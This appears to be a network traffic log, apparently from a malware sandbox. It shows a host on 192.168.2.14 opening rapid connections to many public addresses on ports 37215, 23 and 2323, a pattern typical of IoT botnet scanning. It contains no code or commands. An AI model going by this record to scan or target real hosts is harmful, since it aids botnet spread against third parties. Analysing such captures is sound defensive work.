Aug 6, 2024 08:32:56.818352938 CEST	61142	37215	192.168.2.14	41.118.193.24
Aug 6, 2024 08:32:56.818352938 CEST	61142	37215	192.168.2.14	41.249.126.153
Aug 6, 2024 08:32:56.818353891 CEST	61142	37215	192.168.2.14	41.223.136.215
Aug 6, 2024 08:32:56.818353891 CEST	61142	37215	192.168.2.14	41.120.82.177
Aug 6, 2024 08:32:56.818357944 CEST	61142	37215	192.168.2.14	156.74.66.67
Aug 6, 2024 08:32:56.818357944 CEST	61142	37215	192.168.2.14	197.134.61.193
Aug 6, 2024 08:32:56.818367958 CEST	61142	37215	192.168.2.14	41.174.252.101
Aug 6, 2024 08:32:56.818367958 CEST	61142	37215	192.168.2.14	156.243.14.181
Aug 6, 2024 08:32:56.818368912 CEST	61142	37215	192.168.2.14	41.68.2.125
Aug 6, 2024 08:32:56.818368912 CEST	61142	37215	192.168.2.14	156.80.135.173
Aug 6, 2024 08:32:56.818368912 CEST	61142	37215	192.168.2.14	156.187.197.107
Aug 6, 2024 08:32:56.818372011 CEST	61142	37215	192.168.2.14	156.66.252.167
Aug 6, 2024 08:32:56.818377018 CEST	61142	37215	192.168.2.14	41.4.55.34
Aug 6, 2024 08:32:56.818377972 CEST	61142	37215	192.168.2.14	197.74.116.155
Aug 6, 2024 08:32:56.818377972 CEST	61142	37215	192.168.2.14	197.91.174.126
Aug 6, 2024 08:32:56.818382025 CEST	61142	37215	192.168.2.14	197.145.36.22
Aug 6, 2024 08:32:56.818382025 CEST	61142	37215	192.168.2.14	197.35.34.98
Aug 6, 2024 08:32:56.818382025 CEST	61142	37215	192.168.2.14	41.83.242.7
Aug 6, 2024 08:32:56.818391085 CEST	61142	37215	192.168.2.14	197.224.41.182
Aug 6, 2024 08:32:56.818391085 CEST	61142	37215	192.168.2.14	156.248.110.31
Aug 6, 2024 08:32:56.818392038 CEST	61142	37215	192.168.2.14	41.183.87.203
Aug 6, 2024 08:32:56.818392038 CEST	61142	37215	192.168.2.14	41.201.23.65
Aug 6, 2024 08:32:56.818399906 CEST	61142	37215	192.168.2.14	41.127.10.2
Aug 6, 2024 08:32:56.818403959 CEST	61142	37215	192.168.2.14	197.255.166.255
Aug 6, 2024 08:32:56.818407059 CEST	61142	37215	192.168.2.14	156.97.36.205
Aug 6, 2024 08:32:56.818407059 CEST	61142	37215	192.168.2.14	197.51.127.105
Aug 6, 2024 08:32:56.818407059 CEST	61142	37215	192.168.2.14	156.102.195.121
Aug 6, 2024 08:32:56.818407059 CEST	61142	37215	192.168.2.14	41.183.123.90
Aug 6, 2024 08:32:56.818418980 CEST	61142	37215	192.168.2.14	156.79.18.126
Aug 6, 2024 08:32:56.818422079 CEST	61142	37215	192.168.2.14	156.128.209.51
Aug 6, 2024 08:32:56.818422079 CEST	61142	37215	192.168.2.14	156.89.160.247
Aug 6, 2024 08:32:56.818427086 CEST	61142	37215	192.168.2.14	156.173.162.183
Aug 6, 2024 08:32:56.818427086 CEST	61142	37215	192.168.2.14	197.18.58.30
Aug 6, 2024 08:32:56.818434954 CEST	61142	37215	192.168.2.14	41.106.39.20
Aug 6, 2024 08:32:56.818437099 CEST	61142	37215	192.168.2.14	41.184.233.163
Aug 6, 2024 08:32:56.818440914 CEST	61142	37215	192.168.2.14	197.147.211.213
Aug 6, 2024 08:32:56.818443060 CEST	61142	37215	192.168.2.14	156.69.93.25
Aug 6, 2024 08:32:56.818443060 CEST	61142	37215	192.168.2.14	156.229.149.56
Aug 6, 2024 08:32:56.818447113 CEST	61142	37215	192.168.2.14	156.205.187.249
Aug 6, 2024 08:32:56.818443060 CEST	61142	37215	192.168.2.14	156.108.9.123
Aug 6, 2024 08:32:56.818443060 CEST	61142	37215	192.168.2.14	41.243.164.198
Aug 6, 2024 08:32:56.818443060 CEST	61142	37215	192.168.2.14	156.69.249.104
Aug 6, 2024 08:32:56.818443060 CEST	61142	37215	192.168.2.14	197.122.117.187
Aug 6, 2024 08:32:56.818444014 CEST	61142	37215	192.168.2.14	197.31.10.248
Aug 6, 2024 08:32:56.818455935 CEST	61142	37215	192.168.2.14	41.237.46.255
Aug 6, 2024 08:32:56.818456888 CEST	61142	37215	192.168.2.14	156.149.210.34
Aug 6, 2024 08:32:56.818468094 CEST	61142	37215	192.168.2.14	41.246.143.168
Aug 6, 2024 08:32:56.818509102 CEST	61142	37215	192.168.2.14	41.83.135.137
Aug 6, 2024 08:32:56.818689108 CEST	61398	2323	192.168.2.14	175.102.109.232
Aug 6, 2024 08:32:56.818691969 CEST	61398	23	192.168.2.14	163.8.195.74
Aug 6, 2024 08:32:56.818703890 CEST	61398	23	192.168.2.14	18.190.87.186
Aug 6, 2024 08:32:56.818705082 CEST	61398	23	192.168.2.14	182.25.95.46
Aug 6, 2024 08:32:56.818718910 CEST	61398	23	192.168.2.14	53.177.58.103
Aug 6, 2024 08:32:56.818718910 CEST	61398	23	192.168.2.14	62.181.69.145
Aug 6, 2024 08:32:56.818737030 CEST	61398	23	192.168.2.14	24.61.159.102
Aug 6, 2024 08:32:56.818739891 CEST	61398	23	192.168.2.14	134.206.227.101
Aug 6, 2024 08:32:56.818742990 CEST	61398	23	192.168.2.14	107.6.216.218
Aug 6, 2024 08:32:56.818747044 CEST	61398	23	192.168.2.14	190.22.35.227
Aug 6, 2024 08:32:56.818753958 CEST	61398	2323	192.168.2.14	93.110.2.56
Aug 6, 2024 08:32:56.818773031 CEST	61398	23	192.168.2.14	39.63.37.32
Aug 6, 2024 08:32:56.818773985 CEST	61398	23	192.168.2.14	195.104.186.48
Aug 6, 2024 08:32:56.818773985 CEST	61398	23	192.168.2.14	51.187.200.183
Aug 6, 2024 08:32:56.818773985 CEST	61398	23	192.168.2.14	207.127.108.39
Aug 6, 2024 08:32:56.818773985 CEST	61398	23	192.168.2.14	96.134.202.124
Aug 6, 2024 08:32:56.818794012 CEST	61398	23	192.168.2.14	222.12.178.178
Aug 6, 2024 08:32:56.818794966 CEST	61398	23	192.168.2.14	97.1.97.211
Aug 6, 2024 08:32:56.818794966 CEST	61398	23	192.168.2.14	98.116.189.1
Aug 6, 2024 08:32:56.818808079 CEST	61398	23	192.168.2.14	102.112.94.112
Aug 6, 2024 08:32:56.818809032 CEST	61398	23	192.168.2.14	149.139.123.3
Aug 6, 2024 08:32:56.818821907 CEST	61398	23	192.168.2.14	143.108.210.36
Aug 6, 2024 08:32:56.818823099 CEST	61398	23	192.168.2.14	39.211.146.83
Aug 6, 2024 08:32:56.818825006 CEST	61398	2323	192.168.2.14	223.90.99.200
Aug 6, 2024 08:32:56.818825960 CEST	61398	23	192.168.2.14	60.43.101.206
Aug 6, 2024 08:32:56.818835020 CEST	61398	23	192.168.2.14	78.123.45.99
Aug 6, 2024 08:32:56.818846941 CEST	61398	23	192.168.2.14	107.155.92.209
Aug 6, 2024 08:32:56.818856955 CEST	61398	23	192.168.2.14	186.232.45.179
Aug 6, 2024 08:32:56.818856955 CEST	61398	23	192.168.2.14	65.197.66.190
Aug 6, 2024 08:32:56.818856955 CEST	61398	23	192.168.2.14	223.55.228.217
Aug 6, 2024 08:32:56.818861008 CEST	61398	2323	192.168.2.14	146.201.98.45
Aug 6, 2024 08:32:56.818866968 CEST	61398	23	192.168.2.14	83.16.253.171
Aug 6, 2024 08:32:56.818871021 CEST	61398	23	192.168.2.14	93.148.249.105
Aug 6, 2024 08:32:56.818892956 CEST	61398	23	192.168.2.14	134.182.210.253
Aug 6, 2024 08:32:56.818892956 CEST	61398	23	192.168.2.14	43.113.35.201
Aug 6, 2024 08:32:56.818902016 CEST	61398	23	192.168.2.14	154.126.200.130
Aug 6, 2024 08:32:56.818907022 CEST	61398	23	192.168.2.14	143.253.6.43
Aug 6, 2024 08:32:56.818905115 CEST	61398	23	192.168.2.14	111.132.187.109
Aug 6, 2024 08:32:56.818906069 CEST	61398	23	192.168.2.14	193.226.19.120
Aug 6, 2024 08:32:56.818906069 CEST	61398	23	192.168.2.14	218.20.120.157
Aug 6, 2024 08:32:56.818906069 CEST	61398	2323	192.168.2.14	47.204.232.6
Aug 6, 2024 08:32:56.818914890 CEST	61398	23	192.168.2.14	162.197.116.208
Aug 6, 2024 08:32:56.818921089 CEST	61398	23	192.168.2.14	140.63.191.127
Aug 6, 2024 08:32:56.818921089 CEST	61398	23	192.168.2.14	92.200.79.246
Aug 6, 2024 08:32:56.818922997 CEST	61398	23	192.168.2.14	106.52.251.215
Aug 6, 2024 08:32:56.818927050 CEST	61398	23	192.168.2.14	189.202.3.118
Aug 6, 2024 08:32:56.818929911 CEST	61398	23	192.168.2.14	24.184.97.115
Aug 6, 2024 08:32:56.818938971 CEST	61398	23	192.168.2.14	130.152.213.232
Aug 6, 2024 08:32:56.818938971 CEST	61398	2323	192.168.2.14	72.71.181.47
Aug 6, 2024 08:32:56.818939924 CEST	61398	23	192.168.2.14	108.56.161.87
Aug 6, 2024 08:32:56.818948984 CEST	61398	23	192.168.2.14	115.197.8.175
Aug 6, 2024 08:32:56.818948984 CEST	61398	23	192.168.2.14	131.29.219.222
Aug 6, 2024 08:32:56.818948984 CEST	61398	23	192.168.2.14	129.23.89.198
Aug 6, 2024 08:32:56.818964958 CEST	61398	23	192.168.2.14	75.104.189.221
Aug 6, 2024 08:32:56.818964958 CEST	61398	23	192.168.2.14	131.26.22.71
Aug 6, 2024 08:32:56.818974018 CEST	61398	23	192.168.2.14	179.165.79.149
Aug 6, 2024 08:32:56.819099903 CEST	61398	23	192.168.2.14	218.22.213.194
Aug 6, 2024 08:32:56.819103003 CEST	61398	23	192.168.2.14	116.164.88.202
Aug 6, 2024 08:32:56.819106102 CEST	61398	23	192.168.2.14	129.155.16.163
Aug 6, 2024 08:32:56.819106102 CEST	61398	23	192.168.2.14	13.179.213.61
Aug 6, 2024 08:32:56.819114923 CEST	61398	2323	192.168.2.14	96.68.44.183
Aug 6, 2024 08:32:56.819114923 CEST	61398	23	192.168.2.14	109.193.138.144
Aug 6, 2024 08:32:56.819119930 CEST	61398	23	192.168.2.14	170.74.186.236
Aug 6, 2024 08:32:56.819125891 CEST	61398	23	192.168.2.14	110.67.6.64
Aug 6, 2024 08:32:56.819139004 CEST	61398	23	192.168.2.14	71.242.187.71
Aug 6, 2024 08:32:56.819189072 CEST	61398	23	192.168.2.14	74.29.44.163
Aug 6, 2024 08:32:56.819190979 CEST	61398	23	192.168.2.14	177.60.195.184
Aug 6, 2024 08:32:56.819196939 CEST	61398	23	192.168.2.14	83.39.55.165
Aug 6, 2024 08:32:56.819196939 CEST	61398	23	192.168.2.14	130.99.133.214
Aug 6, 2024 08:32:56.819205046 CEST	61398	23	192.168.2.14	74.99.184.148
Aug 6, 2024 08:32:56.819221973 CEST	61398	2323	192.168.2.14	148.24.31.123
Aug 6, 2024 08:32:56.819225073 CEST	61398	23	192.168.2.14	203.101.128.234
Aug 6, 2024 08:32:56.819226980 CEST	61398	23	192.168.2.14	217.209.239.48
Aug 6, 2024 08:32:56.819269896 CEST	61398	23	192.168.2.14	58.24.74.197
Aug 6, 2024 08:32:56.819286108 CEST	61398	23	192.168.2.14	133.86.156.44
Aug 6, 2024 08:32:56.819291115 CEST	61398	23	192.168.2.14	204.108.181.165
Aug 6, 2024 08:32:56.819295883 CEST	61398	23	192.168.2.14	132.105.84.203
Aug 6, 2024 08:32:56.819297075 CEST	61398	23	192.168.2.14	142.162.141.194
Aug 6, 2024 08:32:56.819298983 CEST	61398	23	192.168.2.14	143.85.75.62
Aug 6, 2024 08:32:56.819312096 CEST	61398	23	192.168.2.14	120.221.245.212
Aug 6, 2024 08:32:56.819315910 CEST	61398	2323	192.168.2.14	109.151.6.52
Aug 6, 2024 08:32:56.819320917 CEST	61398	23	192.168.2.14	192.232.12.41
Aug 6, 2024 08:32:56.819334030 CEST	61398	23	192.168.2.14	165.86.134.9
Aug 6, 2024 08:32:56.819334984 CEST	61398	23	192.168.2.14	217.59.150.227
Aug 6, 2024 08:32:56.819340944 CEST	61398	23	192.168.2.14	109.9.175.136
Aug 6, 2024 08:32:56.819344044 CEST	61398	23	192.168.2.14	106.49.240.83
Aug 6, 2024 08:32:56.819348097 CEST	61398	23	192.168.2.14	36.36.125.18
Aug 6, 2024 08:32:56.819356918 CEST	61398	23	192.168.2.14	159.195.209.107
Aug 6, 2024 08:32:56.819367886 CEST	61398	23	192.168.2.14	174.204.213.236
Aug 6, 2024 08:32:56.819369078 CEST	61398	23	192.168.2.14	37.11.100.59
Aug 6, 2024 08:32:56.819369078 CEST	61398	2323	192.168.2.14	157.145.6.81
Aug 6, 2024 08:32:56.819389105 CEST	61398	23	192.168.2.14	120.65.143.9
Aug 6, 2024 08:32:56.819390059 CEST	61398	23	192.168.2.14	96.22.107.23
Aug 6, 2024 08:32:56.819406033 CEST	61398	23	192.168.2.14	84.136.230.217
Aug 6, 2024 08:32:56.819406986 CEST	61398	23	192.168.2.14	82.156.178.18
Aug 6, 2024 08:32:56.819406986 CEST	61398	23	192.168.2.14	32.106.174.40
Aug 6, 2024 08:32:56.819410086 CEST	61398	23	192.168.2.14	86.57.130.191
Aug 6, 2024 08:32:56.819430113 CEST	61398	23	192.168.2.14	96.121.177.52
Aug 6, 2024 08:32:56.819430113 CEST	61398	23	192.168.2.14	139.184.245.42
Aug 6, 2024 08:32:56.819437027 CEST	61398	23	192.168.2.14	217.247.52.2
Aug 6, 2024 08:32:56.819437027 CEST	61398	23	192.168.2.14	100.35.84.85
Aug 6, 2024 08:32:56.819437027 CEST	61398	2323	192.168.2.14	77.120.8.9
Aug 6, 2024 08:32:56.819441080 CEST	61398	23	192.168.2.14	129.14.117.134
Aug 6, 2024 08:32:56.819443941 CEST	61398	23	192.168.2.14	142.193.37.71
Aug 6, 2024 08:32:56.819452047 CEST	61398	23	192.168.2.14	201.136.247.11
Aug 6, 2024 08:32:56.819458008 CEST	61398	23	192.168.2.14	192.109.77.211
Aug 6, 2024 08:32:56.819469929 CEST	61398	23	192.168.2.14	139.250.123.232
Aug 6, 2024 08:32:56.819472075 CEST	61398	23	192.168.2.14	51.164.45.133
Aug 6, 2024 08:32:56.819480896 CEST	61398	23	192.168.2.14	158.36.159.14
Aug 6, 2024 08:32:56.819482088 CEST	61398	2323	192.168.2.14	2.43.182.199
Aug 6, 2024 08:32:56.819482088 CEST	61398	23	192.168.2.14	44.81.14.251
Aug 6, 2024 08:32:56.819482088 CEST	61398	23	192.168.2.14	74.90.107.111
Aug 6, 2024 08:32:56.819479942 CEST	61398	23	192.168.2.14	75.92.67.108
Aug 6, 2024 08:32:56.819479942 CEST	61398	23	192.168.2.14	71.161.137.48
Aug 6, 2024 08:32:56.819495916 CEST	61398	23	192.168.2.14	125.125.103.223
Aug 6, 2024 08:32:56.819503069 CEST	61398	23	192.168.2.14	183.105.172.90
Aug 6, 2024 08:32:56.819503069 CEST	61398	23	192.168.2.14	142.40.208.82
Aug 6, 2024 08:32:56.819509029 CEST	61398	23	192.168.2.14	77.121.229.254
Aug 6, 2024 08:32:56.819504023 CEST	61398	23	192.168.2.14	109.255.196.174
Aug 6, 2024 08:32:56.819504023 CEST	61398	23	192.168.2.14	99.197.139.178
Aug 6, 2024 08:32:56.819511890 CEST	61398	2323	192.168.2.14	154.172.114.85
Aug 6, 2024 08:32:56.819519997 CEST	61398	23	192.168.2.14	219.254.250.183
Aug 6, 2024 08:32:56.819523096 CEST	61398	23	192.168.2.14	61.120.91.56
Aug 6, 2024 08:32:56.819538116 CEST	61398	23	192.168.2.14	163.234.182.193
Aug 6, 2024 08:32:56.819536924 CEST	61398	23	192.168.2.14	161.156.113.99
Aug 6, 2024 08:32:56.819538116 CEST	61398	23	192.168.2.14	63.240.222.75
Aug 6, 2024 08:32:56.819559097 CEST	61398	23	192.168.2.14	12.74.88.32
Aug 6, 2024 08:32:56.819561005 CEST	61398	23	192.168.2.14	62.110.124.12
Aug 6, 2024 08:32:56.819596052 CEST	61398	23	192.168.2.14	209.232.25.181
Aug 6, 2024 08:32:56.819597960 CEST	61398	23	192.168.2.14	174.14.18.31
Aug 6, 2024 08:32:56.819607019 CEST	61398	2323	192.168.2.14	176.151.41.96
Aug 6, 2024 08:32:56.819608927 CEST	61398	23	192.168.2.14	78.100.191.243
Aug 6, 2024 08:32:56.819619894 CEST	61398	23	192.168.2.14	221.174.124.57
Aug 6, 2024 08:32:56.819622993 CEST	61398	23	192.168.2.14	19.202.126.106
Aug 6, 2024 08:32:56.819650888 CEST	61398	23	192.168.2.14	70.48.119.209
Aug 6, 2024 08:32:56.819650888 CEST	61398	23	192.168.2.14	48.202.47.122
Aug 6, 2024 08:32:56.819652081 CEST	61398	23	192.168.2.14	133.102.61.117
Aug 6, 2024 08:32:56.819679022 CEST	61398	23	192.168.2.14	137.192.83.118
Aug 6, 2024 08:32:56.819679022 CEST	61398	23	192.168.2.14	117.194.130.151
Aug 6, 2024 08:32:56.819679022 CEST	61398	23	192.168.2.14	192.53.100.98
Aug 6, 2024 08:32:56.819686890 CEST	61398	2323	192.168.2.14	37.13.131.197
Aug 6, 2024 08:32:56.819686890 CEST	61398	23	192.168.2.14	190.55.166.71
Aug 6, 2024 08:32:56.819699049 CEST	61398	23	192.168.2.14	195.56.80.75
Aug 6, 2024 08:32:56.819710970 CEST	61398	23	192.168.2.14	102.163.230.40
Aug 6, 2024 08:32:56.819713116 CEST	61398	23	192.168.2.14	164.133.8.184
Aug 6, 2024 08:32:56.819716930 CEST	61398	23	192.168.2.14	62.194.192.160
Aug 6, 2024 08:32:56.819726944 CEST	61398	23	192.168.2.14	72.152.53.55
Aug 6, 2024 08:32:56.819736958 CEST	61398	23	192.168.2.14	133.128.88.196
Aug 6, 2024 08:32:56.819739103 CEST	61398	23	192.168.2.14	59.244.28.155
Aug 6, 2024 08:32:56.819741011 CEST	61398	2323	192.168.2.14	130.94.19.62
Aug 6, 2024 08:32:56.819746971 CEST	61398	23	192.168.2.14	24.195.180.58
Aug 6, 2024 08:32:56.819755077 CEST	61398	23	192.168.2.14	59.7.146.78
Aug 6, 2024 08:32:56.819758892 CEST	61398	23	192.168.2.14	145.185.97.87
Aug 6, 2024 08:32:56.819761038 CEST	61398	23	192.168.2.14	53.69.114.9
Aug 6, 2024 08:32:56.819766045 CEST	61398	23	192.168.2.14	101.3.220.1
Aug 6, 2024 08:32:56.819770098 CEST	61398	23	192.168.2.14	179.98.237.91
Aug 6, 2024 08:32:56.819777012 CEST	61398	23	192.168.2.14	198.245.115.102
Aug 6, 2024 08:32:56.819778919 CEST	61398	23	192.168.2.14	113.166.141.127
Aug 6, 2024 08:32:56.819789886 CEST	61398	23	192.168.2.14	180.204.29.240
Aug 6, 2024 08:32:56.819808006 CEST	61398	23	192.168.2.14	206.23.163.232
Aug 6, 2024 08:32:56.822706938 CEST	37215	61142	156.243.120.101	192.168.2.14
Aug 6, 2024 08:32:56.822734118 CEST	37215	61142	197.63.193.232	192.168.2.14
Aug 6, 2024 08:32:56.822746038 CEST	37215	61142	197.173.7.129	192.168.2.14
Aug 6, 2024 08:32:56.822751999 CEST	61142	37215	192.168.2.14	156.243.120.101
Aug 6, 2024 08:32:56.822757959 CEST	37215	61142	156.214.108.255	192.168.2.14
Aug 6, 2024 08:32:56.822767019 CEST	61142	37215	192.168.2.14	197.63.193.232
Aug 6, 2024 08:32:56.822770119 CEST	37215	61142	41.229.93.116	192.168.2.14
Aug 6, 2024 08:32:56.822777987 CEST	61142	37215	192.168.2.14	197.173.7.129
Aug 6, 2024 08:32:56.822781086 CEST	37215	61142	197.130.113.46	192.168.2.14
Aug 6, 2024 08:32:56.822789907 CEST	61142	37215	192.168.2.14	156.214.108.255
Aug 6, 2024 08:32:56.822803020 CEST	61142	37215	192.168.2.14	41.229.93.116
Aug 6, 2024 08:32:56.822804928 CEST	37215	61142	197.14.35.101	192.168.2.14
Aug 6, 2024 08:32:56.822818041 CEST	37215	61142	197.104.24.129	192.168.2.14
Aug 6, 2024 08:32:56.822818041 CEST	61142	37215	192.168.2.14	197.130.113.46
Aug 6, 2024 08:32:56.822828054 CEST	37215	61142	41.87.34.185	192.168.2.14
Aug 6, 2024 08:32:56.822839022 CEST	37215	61142	41.87.115.224	192.168.2.14
Aug 6, 2024 08:32:56.822845936 CEST	61142	37215	192.168.2.14	197.14.35.101
Aug 6, 2024 08:32:56.822845936 CEST	61142	37215	192.168.2.14	197.104.24.129
Aug 6, 2024 08:32:56.822849989 CEST	37215	61142	197.90.150.199	192.168.2.14
Aug 6, 2024 08:32:56.822860003 CEST	37215	61142	41.138.212.138	192.168.2.14
Aug 6, 2024 08:32:56.822865963 CEST	61142	37215	192.168.2.14	41.87.34.185
Aug 6, 2024 08:32:56.822870016 CEST	61142	37215	192.168.2.14	41.87.115.224
Aug 6, 2024 08:32:56.822871923 CEST	37215	61142	197.132.154.218	192.168.2.14
Aug 6, 2024 08:32:56.822877884 CEST	61142	37215	192.168.2.14	197.90.150.199
Aug 6, 2024 08:32:56.822890997 CEST	37215	61142	156.78.201.98	192.168.2.14
Aug 6, 2024 08:32:56.822894096 CEST	61142	37215	192.168.2.14	41.138.212.138
Aug 6, 2024 08:32:56.822902918 CEST	37215	61142	197.42.1.152	192.168.2.14
Aug 6, 2024 08:32:56.822902918 CEST	61142	37215	192.168.2.14	197.132.154.218
Aug 6, 2024 08:32:56.822920084 CEST	37215	61142	156.224.13.65	192.168.2.14
Aug 6, 2024 08:32:56.822920084 CEST	61142	37215	192.168.2.14	156.78.201.98
Aug 6, 2024 08:32:56.822931051 CEST	61142	37215	192.168.2.14	197.42.1.152
Aug 6, 2024 08:32:56.822932005 CEST	37215	61142	156.5.79.218	192.168.2.14
Aug 6, 2024 08:32:56.822945118 CEST	37215	61142	197.75.73.10	192.168.2.14
Aug 6, 2024 08:32:56.822953939 CEST	61142	37215	192.168.2.14	156.224.13.65
Aug 6, 2024 08:32:56.822956085 CEST	37215	61142	197.202.46.32	192.168.2.14
Aug 6, 2024 08:32:56.822968006 CEST	37215	61142	156.20.59.113	192.168.2.14
Aug 6, 2024 08:32:56.822972059 CEST	61142	37215	192.168.2.14	156.5.79.218
Aug 6, 2024 08:32:56.822984934 CEST	61142	37215	192.168.2.14	197.75.73.10
Aug 6, 2024 08:32:56.822985888 CEST	61142	37215	192.168.2.14	197.202.46.32
Aug 6, 2024 08:32:56.823003054 CEST	61142	37215	192.168.2.14	156.20.59.113
Aug 6, 2024 08:32:56.823287010 CEST	37215	61142	156.134.51.115	192.168.2.14
Aug 6, 2024 08:32:56.823298931 CEST	37215	61142	156.48.101.240	192.168.2.14
Aug 6, 2024 08:32:56.823309898 CEST	37215	61142	197.216.33.121	192.168.2.14
Aug 6, 2024 08:32:56.823312998 CEST	61142	37215	192.168.2.14	156.134.51.115
Aug 6, 2024 08:32:56.823318958 CEST	61142	37215	192.168.2.14	156.48.101.240
Aug 6, 2024 08:32:56.823338985 CEST	37215	61142	197.59.82.212	192.168.2.14
Aug 6, 2024 08:32:56.823343039 CEST	61142	37215	192.168.2.14	197.216.33.121
Aug 6, 2024 08:32:56.823349953 CEST	37215	61142	156.49.6.9	192.168.2.14
Aug 6, 2024 08:32:56.823360920 CEST	37215	61142	41.156.102.139	192.168.2.14
Aug 6, 2024 08:32:56.823371887 CEST	37215	61142	197.76.241.245	192.168.2.14
Aug 6, 2024 08:32:56.823374987 CEST	61142	37215	192.168.2.14	197.59.82.212
Aug 6, 2024 08:32:56.823384047 CEST	37215	61142	41.218.183.57	192.168.2.14
Aug 6, 2024 08:32:56.823388100 CEST	61142	37215	192.168.2.14	156.49.6.9
Aug 6, 2024 08:32:56.823388100 CEST	61142	37215	192.168.2.14	41.156.102.139
Aug 6, 2024 08:32:56.823395967 CEST	37215	61142	156.204.167.229	192.168.2.14
Aug 6, 2024 08:32:56.823405027 CEST	61142	37215	192.168.2.14	197.76.241.245
Aug 6, 2024 08:32:56.823406935 CEST	37215	61142	197.241.32.4	192.168.2.14
Aug 6, 2024 08:32:56.823410034 CEST	61142	37215	192.168.2.14	41.218.183.57
Aug 6, 2024 08:32:56.823419094 CEST	37215	61142	197.115.196.137	192.168.2.14
Aug 6, 2024 08:32:56.823435068 CEST	61142	37215	192.168.2.14	156.204.167.229
Aug 6, 2024 08:32:56.823435068 CEST	61142	37215	192.168.2.14	197.241.32.4
Aug 6, 2024 08:32:56.823441029 CEST	37215	61142	156.255.113.130	192.168.2.14
Aug 6, 2024 08:32:56.823446035 CEST	61142	37215	192.168.2.14	197.115.196.137
Aug 6, 2024 08:32:56.823452950 CEST	37215	61142	41.146.232.115	192.168.2.14
Aug 6, 2024 08:32:56.823463917 CEST	37215	61142	156.233.189.37	192.168.2.14
Aug 6, 2024 08:32:56.823474884 CEST	37215	61142	197.38.129.206	192.168.2.14
Aug 6, 2024 08:32:56.823477030 CEST	61142	37215	192.168.2.14	156.255.113.130
Aug 6, 2024 08:32:56.823486090 CEST	37215	61142	156.137.142.77	192.168.2.14
Aug 6, 2024 08:32:56.823487043 CEST	61142	37215	192.168.2.14	41.146.232.115
Aug 6, 2024 08:32:56.823496103 CEST	37215	61142	41.170.201.4	192.168.2.14
Aug 6, 2024 08:32:56.823498011 CEST	61142	37215	192.168.2.14	156.233.189.37
Aug 6, 2024 08:32:56.823508978 CEST	37215	61142	197.228.21.108	192.168.2.14
Aug 6, 2024 08:32:56.823513031 CEST	61142	37215	192.168.2.14	197.38.129.206
Aug 6, 2024 08:32:56.823520899 CEST	37215	61142	197.28.1.133	192.168.2.14
Aug 6, 2024 08:32:56.823520899 CEST	61142	37215	192.168.2.14	156.137.142.77
Aug 6, 2024 08:32:56.823533058 CEST	37215	61142	41.138.87.130	192.168.2.14
Aug 6, 2024 08:32:56.823538065 CEST	61142	37215	192.168.2.14	41.170.201.4
Aug 6, 2024 08:32:56.823539019 CEST	61142	37215	192.168.2.14	197.228.21.108
Aug 6, 2024 08:32:56.823544025 CEST	37215	61142	41.199.95.162	192.168.2.14
Aug 6, 2024 08:32:56.823553085 CEST	61142	37215	192.168.2.14	197.28.1.133
Aug 6, 2024 08:32:56.823555946 CEST	37215	61142	41.247.44.228	192.168.2.14
Aug 6, 2024 08:32:56.823559999 CEST	61142	37215	192.168.2.14	41.138.87.130
Aug 6, 2024 08:32:56.823565960 CEST	37215	61142	156.51.145.41	192.168.2.14
Aug 6, 2024 08:32:56.823576927 CEST	37215	61142	41.191.113.153	192.168.2.14
Aug 6, 2024 08:32:56.823579073 CEST	61142	37215	192.168.2.14	41.199.95.162
Aug 6, 2024 08:32:56.823585033 CEST	61142	37215	192.168.2.14	41.247.44.228
Aug 6, 2024 08:32:56.823587894 CEST	37215	61142	41.154.221.237	192.168.2.14
Aug 6, 2024 08:32:56.823595047 CEST	61142	37215	192.168.2.14	156.51.145.41
Aug 6, 2024 08:32:56.823599100 CEST	37215	61142	197.157.57.38	192.168.2.14
Aug 6, 2024 08:32:56.823610067 CEST	61142	37215	192.168.2.14	41.191.113.153
Aug 6, 2024 08:32:56.823611021 CEST	37215	61142	197.219.157.185	192.168.2.14
Aug 6, 2024 08:32:56.823621988 CEST	37215	61142	41.38.168.255	192.168.2.14
Aug 6, 2024 08:32:56.823626995 CEST	61142	37215	192.168.2.14	41.154.221.237
Aug 6, 2024 08:32:56.823632956 CEST	61142	37215	192.168.2.14	197.157.57.38
Aug 6, 2024 08:32:56.823652029 CEST	61142	37215	192.168.2.14	197.219.157.185
Aug 6, 2024 08:32:56.823666096 CEST	61142	37215	192.168.2.14	41.38.168.255
Aug 6, 2024 08:32:56.823813915 CEST	37215	61142	41.212.248.151	192.168.2.14
Aug 6, 2024 08:32:56.823824883 CEST	37215	61142	41.226.196.102	192.168.2.14
Aug 6, 2024 08:32:56.823834896 CEST	37215	61142	41.2.112.41	192.168.2.14
Aug 6, 2024 08:32:56.823846102 CEST	37215	61142	41.21.190.34	192.168.2.14
Aug 6, 2024 08:32:56.823848963 CEST	61142	37215	192.168.2.14	41.212.248.151
Aug 6, 2024 08:32:56.823849916 CEST	61142	37215	192.168.2.14	41.226.196.102
Aug 6, 2024 08:32:56.823858023 CEST	37215	61142	156.11.49.218	192.168.2.14
Aug 6, 2024 08:32:56.823862076 CEST	61142	37215	192.168.2.14	41.2.112.41
Aug 6, 2024 08:32:56.823868036 CEST	37215	61142	197.166.211.169	192.168.2.14
Aug 6, 2024 08:32:56.823879004 CEST	37215	61142	41.196.151.196	192.168.2.14
Aug 6, 2024 08:32:56.823880911 CEST	61142	37215	192.168.2.14	41.21.190.34
Aug 6, 2024 08:32:56.823889017 CEST	37215	61142	156.255.60.96	192.168.2.14
Aug 6, 2024 08:32:56.823889017 CEST	61142	37215	192.168.2.14	156.11.49.218
Aug 6, 2024 08:32:56.823893070 CEST	61142	37215	192.168.2.14	197.166.211.169
Aug 6, 2024 08:32:56.823899984 CEST	37215	61142	156.63.7.9	192.168.2.14
Aug 6, 2024 08:32:56.823920012 CEST	61142	37215	192.168.2.14	41.196.151.196
Aug 6, 2024 08:32:56.823920012 CEST	61142	37215	192.168.2.14	156.255.60.96
Aug 6, 2024 08:32:56.823923111 CEST	37215	61142	41.238.196.59	192.168.2.14
Aug 6, 2024 08:32:56.823934078 CEST	37215	61142	197.141.127.19	192.168.2.14
Aug 6, 2024 08:32:56.823936939 CEST	61142	37215	192.168.2.14	156.63.7.9
Aug 6, 2024 08:32:56.823942900 CEST	37215	61142	156.91.72.96	192.168.2.14
Aug 6, 2024 08:32:56.823952913 CEST	37215	61142	41.246.8.105	192.168.2.14
Aug 6, 2024 08:32:56.823959112 CEST	61142	37215	192.168.2.14	41.238.196.59
Aug 6, 2024 08:32:56.823962927 CEST	37215	61142	156.57.27.188	192.168.2.14
Aug 6, 2024 08:32:56.823973894 CEST	37215	61142	197.104.64.187	192.168.2.14
